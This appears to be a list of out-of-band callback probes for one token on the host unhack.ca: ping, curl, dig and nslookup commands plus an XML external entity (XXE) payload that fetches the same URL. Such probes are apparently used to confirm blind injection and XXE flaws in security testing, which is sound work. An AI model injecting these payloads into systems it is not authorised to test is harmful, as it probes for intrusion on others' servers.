$ ping -c1 -p 0091caeb8651e341cf93f3413b509400 unhack.ca
 

$ curl http://unhack.ca/p/91caeb8651e341cf93f3413b5094
 

$ dig 91caeb8651e341cf93f3413b5094 @unhack.ca
 

$ dig 91caeb8651e341cf93f3413b5094.ns.unhack.ca
 

C:\> nslookup 91caeb8651e341cf93f3413b5094 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/91caeb8651e341cf93f3413b5094">]>
    <foo>&xxe;</foo>